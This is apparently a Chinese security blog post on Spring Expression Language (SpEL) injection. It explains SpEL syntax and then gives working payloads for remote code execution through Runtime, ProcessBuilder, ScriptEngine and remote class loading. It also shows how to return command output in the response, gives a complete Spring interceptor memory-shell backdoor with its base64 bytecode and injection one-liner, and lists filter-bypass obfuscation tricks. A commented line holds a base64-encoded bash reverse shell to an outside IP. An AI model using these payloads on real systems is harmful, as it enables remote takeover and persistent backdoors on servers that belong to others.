前言
参考:
https://drun1baby.top/2022/09/23/Java-%E4%B9%8B-SpEL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
SPEL表达式基础
在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用
特性:
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
定界符
#{}
:所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等
和${}
的区别:
#{}
就是SpEL的定界符,用于指明内容未SpEL表达式并执行;${}
主要用于加载外部属性文件中的值;两者可以混合使用,但是必须
#{}
在外面,${}
在里面,如#{'${}'}
,注意单引号是字符串类型才添加的
结论:${}
只是单纯的一个占位符,会引起一些注入,比如SQL注入之类的。而#{}
这就是SPEL特有的定界符。中间的内容会被解析
表达式类型
字面值
最简单的SpEL表达式就是仅包含一个字面值。
下面我们在XML配置文件中使用SpEL设置类属性的值为字面值,此时需要用到#{}
定界符,注意若是指定为字符串的话需要添加单引号括起来:
<property name="message1" value="#{666}"/>
<property name="message2" value="#{'0w0'}"/>
还可以直接与字符串混用:
<property name="message" value="the value is #{666}"/>
Java基本数据类型都可以出现在SpEL表达式中,表达式中的数字也可以使用科学计数法:
<property name="salary" value="#{1e4}"/>
引用Bean、属性和方法
SpEL 表达式能够通过其他 Bean 的 ID 进行引用,直接在 #{}
符号中写入 ID 名即可,无需添加单引号括起来
常规写法:
<constructor-arg ref="test"/>
SpEL中:
<constructor-arg value="#{test}"/>
引用类属性和引用类方法懒得写了(
常见的表达式
一些比较常见的表达式:
运算符类型 | 运算符 |
---|---|
算数运算 | +, -, *, /, %, ^ |
关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge |
逻辑运算 | and, or, not, ! |
条件运算 | ?:(ternary), ?:(Elvis) |
正则表达式 | matches |
运算符 | 符号 | 文本类型 |
---|---|---|
等于 | == | eq |
小于 | < | lt |
小于等于 | <= | le |
大于 | > | gt |
大于等于 | >= | ge |
变量定义和引用
在SpEL表达式中,变量定义通过EvaluationContext
类的setVariable(variableName, value)
函数来实现;在表达式中使用"#variableName"来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:
- #this:使用当前正在计算的上下文;
- #root:引用容器的root对象;
- @something:引用Bean
类型表达式T()
在 SpEL 表达式中,使用
T(Type)
运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
使用 T(Type)
来表示 java.lang.Class
实例,Type 必须是类全限定名,但 java.lang
包除外,因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段
值得注意的是,java.lang.Runtime
这个包也是包含于 java.lang
的包的,所以如果能调用 Runtime
就可以进行命令执行
package com.example.vul;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelVulTest {
public static void main(String[] args) {
String cmdStr = "T(java.lang.String)";
ExpressionParser parser = new SpelExpressionParser(); // 创建解析器
Expression exp = parser.parseExpression(cmdStr); // 解析表达式
System.out.println(exp.getValue()); // 执行
}
}
T中的内容会被解析为一个类。比如图中的String,那么当然可以解析为java.lang.Runtime
,因此也就有了命令执行
只需要改为T(java.lang.Runtime).getRuntime().exec(\"calc\")
就能弹计算器
注入
RCE ver1——直接RCE
ProcessBuilder
package com.example.vul;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelVulTest {
public static void main(String[] args) {
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}
Runtime
package com.example.vul;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelVulTest {
public static void main(String[] args) {
String cmdStr = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}
ScriptEngine
package com.example.vul;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelVulTest {
public static void main(String[] args) {
String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")"; // engine也可以用javascript
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}
注意这里不是T()
,因为 getEngineByName
不是 static 方法,不过可以直接new
RCE ver2——远程类加载
UrlClassloader
package com.example.vul;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class SpelVulTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").newInstance()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}
本地恶意类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet {
static {
try {
//Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
AppClassloader
获取ClassLoader去加载本地的类
package com.example.vul;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class SpelVulTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
}
}
bypass
获取classloader关键字:
T(org.springframework.expression.Expression).getClass().getClassLoader()
#thymeleaf 情况下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
#web服务下通过内置对象
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
RCE ver3——回显
漏洞代码:
package com.example.spel.controller;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class spelcontroller {
@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload){
//String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器
Expression exp = parser.parseExpression(payload);//解析表达式
return (String) exp.getValue();
}
}
BufferedReader
payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
其实这并不是纯粹的回显,因为你需要return这个返回结果,而真实情况一般是不会return这个结果的
Scanner
payload=new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
这里的Delimiter
是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可
ResponseHeader
通用回显
这种方法需要有一个方法可以addHeader
,可是springboot并不自带这个方法。因此获取到Response有些许困难,需要注册一个response进上下文
代码:
@Controller
public class spelcontroller {
@RequestMapping("/spel")
@ResponseBody
public String spelvul(String payload,HttpServletResponse response){
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("response",response);
//String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器
Expression exp = parser.parseExpression(payload);//解析表达式
return (String) exp.getValue(context);
}
}
payload:
payload=#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
于是在响应体里面就会带出x-cmd
这个参数
内存马
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
接下来就逐步解析一下这个payload:
defineClass
首先我们需要确认我们的目的,我们目的就是加载一个类,并且将其实例化。这里选择了springboot自带的工具类ReflectUtils
,因为他识别base64字节,然后加载它。很方便。
ClassLoader
加载一个类需要指定classloader,我们肯定选定当前线程上下文的classLoaderT(java.lang.Thread).currentThread().getContextClassLoader()
第一个payload用到了MLet这个类,实际上是URLClassLoader的实现类
springboot内存马
import org.springframework.web.servlet.HandlerInterceptor;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;
public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
InceptorMemShell evilInterceptor = new InceptorMemShell();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setCharacterEncoding("gbk");
java.io.PrintWriter printWriter = response.getWriter();
ProcessBuilder builder;
String o = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
}
java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.println(o);
printWriter.flush();
printWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
那么最终的payload:
payload=T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBAQoAOwCLCABWCwCMAI0IAI4LAI8AkAsAjwCRCACSCACTCgCUAJUKAA4AlggAlwoADgCYBwCZBwCaCACbCACcCgANAJ0IAJ4IAJ8HAKAKAA0AoQoAogCjCgAUAKQIAKUKABQApgoAFACnCgAUAKgKABQAqQoAqgCrCgCqAKwKAKoAqQcArQoAIACuCwA8AK8LADwAsAkAlACxCACyCgCzAKsKALQAtQgAtgsAtwC4BwC5BwC6CwAqALsHALwIAL0KAL4AvwcAwAoAMACuCgDBAMIKAMEAwwcAxAcAxQoANQCuBwDGCgA3AIsLADQAxwgAyAcAyQcAygEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTEluY2VwdG9yTWVtU2hlbGw7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB2J1aWxkZXIBABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAC3ByaW50V3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQADY21kAQANU3RhY2tNYXBUYWJsZQcAxgcAywcAzAcAzQcAmgcAzgcAmQcAoAcArQEACkV4Y2VwdGlvbnMBABBNZXRob2RQYXJhbWV0ZXJzAQAKcG9zdEhhbmRsZQEAkihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OylWAQAMbW9kZWxBbmRWaWV3AQAuTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAD2FmdGVyQ29tcGxldGlvbgEAeShMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAJleAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAM8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwC5BwC6BwDQBwDABwDEBwDFAQAKU291cmNlRmlsZQEAFUluY2VwdG9yTWVtU2hlbGwuamF2YQwAPQA+BwDLDADRANIBAANnYmsHAMwMANMA1AwA1QDWAQAAAQAHb3MubmFtZQcA1wwA2ADSDADZANoBAAN3aW4MANsA3AEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAD0A3QEACS9iaW4vYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAN4A3wcA4AwA4QDiDAA9AOMBAA13b2Nhb3NpbmlkZW1hDADkAOUMAOYA5wwA6ADaDADpAD4HAM4MAOoA1AwA6wA+AQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7AA+DABjAGQMAGcAaAwA7QDuAQAGc3RhYXJ0BwDvBwDwDADxAPIBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAPMMAPQA9QEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA9gD3AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwD4DAD5APoBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HANAMAPsA/AwA/QD+AQAOamF2YS91dGlsL0xpc3QBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAEEluY2VwdG9yTWVtU2hlbGwMAP8BAAEAAm9rAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vUHJpbnRXcml0ZXIBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAdwcmludGxuAQAFZmx1c2gBAA9wcmludFN0YWNrVHJhY2UBAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANhZGQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoAIQA3ADsAAQA8AAAABwABAD0APgABAD8AAAAvAAEAAQAAAAUqtwABsQAAAAIAQAAAAAYAAQAAABIAQQAAAAwAAQAAAAUAQgBDAAAAAQBEAEUAAwA/AAACBQAGAAkAAAC+KxICuQADAgA6BBkExgCwLBIEuQAFAgAsuQAGAQA6BRIHOgcSCLgACbYAChILtgAMmQAiuwANWQa9AA5ZAxIPU1kEEhBTWQUZBFO3ABE6BqcAH7sADVkGvQAOWQMSElNZBBITU1kFGQRTtwAROga7ABRZGQa2ABW2ABYSBLcAFxIYtgAZOggZCLYAGpkACxkItgAbpwAFGQc6BxkItgAcGQUZB7YAHRkFtgAeGQW2AB+nAAo6BRkFtgAhA6wErAABAA8AsACzACAAAwBAAAAATgATAAAALQAKAC4ADwAwABcAMQAfADMAIwA0ADMANQBSADcAbgA5AIYAOgCaADsAnwA8AKYAPQCrAD4AsABBALMAPwC1AEAAugBCALwARABBAAAAcAALAE8AAwBGAEcABgAfAJEASABJAAUAbgBCAEYARwAGACMAjQBKAEsABwCGACoATABNAAgAtQAFAE4ATwAFAAAAvgBCAEMAAAAAAL4AUABRAAEAAAC+AFIAUwACAAAAvgBUAFUAAwAKALQAVgBLAAQAVwAAAGMAB/8AUgAIBwBYBwBZBwBaBwBbBwBcBwBdAAcAXAAA/wAbAAgHAFgHAFkHAFoHAFsHAFwHAF0HAF4HAFwAAPwAJwcAX0EHAFz/ABoABQcAWAcAWQcAWgcAWwcAXAABBwBgBgEAYQAAAAQAAQAgAGIAAAANAwBQAAAAUgAAAFQAAAABAGMAZAADAD8AAABgAAUABQAAAAoqKywtGQS3ACKxAAAAAgBAAAAACgACAAAASQAJAEoAQQAAADQABQAAAAoAQgBDAAAAAAAKAFAAUQABAAAACgBSAFMAAgAAAAoAVABVAAMAAAAKAGUAZgAEAGEAAAAEAAEAIABiAAAAEQQAUAAAAFIAAABUAAAAZQAAAAEAZwBoAAMAPwAAAGAABQAFAAAACiorLC0ZBLcAI7EAAAACAEAAAAAKAAIAAABOAAkATwBBAAAANAAFAAAACgBCAEMAAAAAAAoAUABRAAEAAAAKAFIAUwACAAAACgBUAFUAAwAAAAoAaQBPAAQAYQAAAAQAAQAgAGIAAAARBABQAAAAUgAAAFQAAABpAAAAAQBqAGsAAwA/AAAAPwAAAAMAAAABsQAAAAIAQAAAAAYAAQAAAFQAQQAAACAAAwAAAAEAQgBDAAAAAAABAGwAbQABAAAAAQBuAG8AAgBhAAAABAABAHAAYgAAAAkCAGwAAABuAAAAAQBqAHEAAwA/AAAASQAAAAQAAAABsQAAAAIAQAAAAAYAAQAAAFkAQQAAACoABAAAAAEAQgBDAAAAAAABAGwAbQABAAAAAQByAHMAAgAAAAEAVAB0AAMAYQAAAAQAAQBwAGIAAAANAwBsAAAAcgAAAFQAAAAIAHUAPgABAD8AAAFpAAMABQAAAGqyACQSJbYAJrgAJxIoA7kAKQMAwAAqSyoSK7kALAIAwAArTAFNEi0SLrYAL02nAAhOLbYAMSwEtgAyAU4sK7YAM8AANE6nAAo6BBkEtgA2uwA3WbcAODoELRkEuQA5AgBXsgAkEjq2ACaxAAIAJQAtADAAMAA8AEUASAA1AAQAQAAAAEoAEgAAABUACAAWABcAFwAjABgAJQAaAC0AHQAwABsAMQAcADUAHgA6AB8APAAhAEUAJABIACIASgAjAE8AJQBYACYAYQAnAGkAKABBAAAASAAHADEABABOAHYAAwBKAAUATgB3AAQAFwBSAHgAeQAAACMARgB6AHsAAQAlAEQAfAB9AAIAPAAtAH4AfwADAFgAEQCAAEMABACBAAAADAABADwALQB+AIIAAwBXAAAALQAE/wAwAAMHAIMHAIQHAIUAAQcAhgT/ABIABAcAgwcAhAcAhQcAhwABBwCIBgABAIkAAAACAIo='),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
Bypass
字符串替换
T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)
T(String).getName
返回的是java.lang.String
,然后用replace替换获取想要的字符串,这种比较麻烦。
还有一种就是直接使用类似chr
函数
T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)
外部对象request
假如上下文中有request对象的话就也有几种方法
//request.getMethod()为POST
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
//request.getMethod()为GET
#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)
//Cookie
#request.getRequestedSessionId()
反射+字符串拼贴
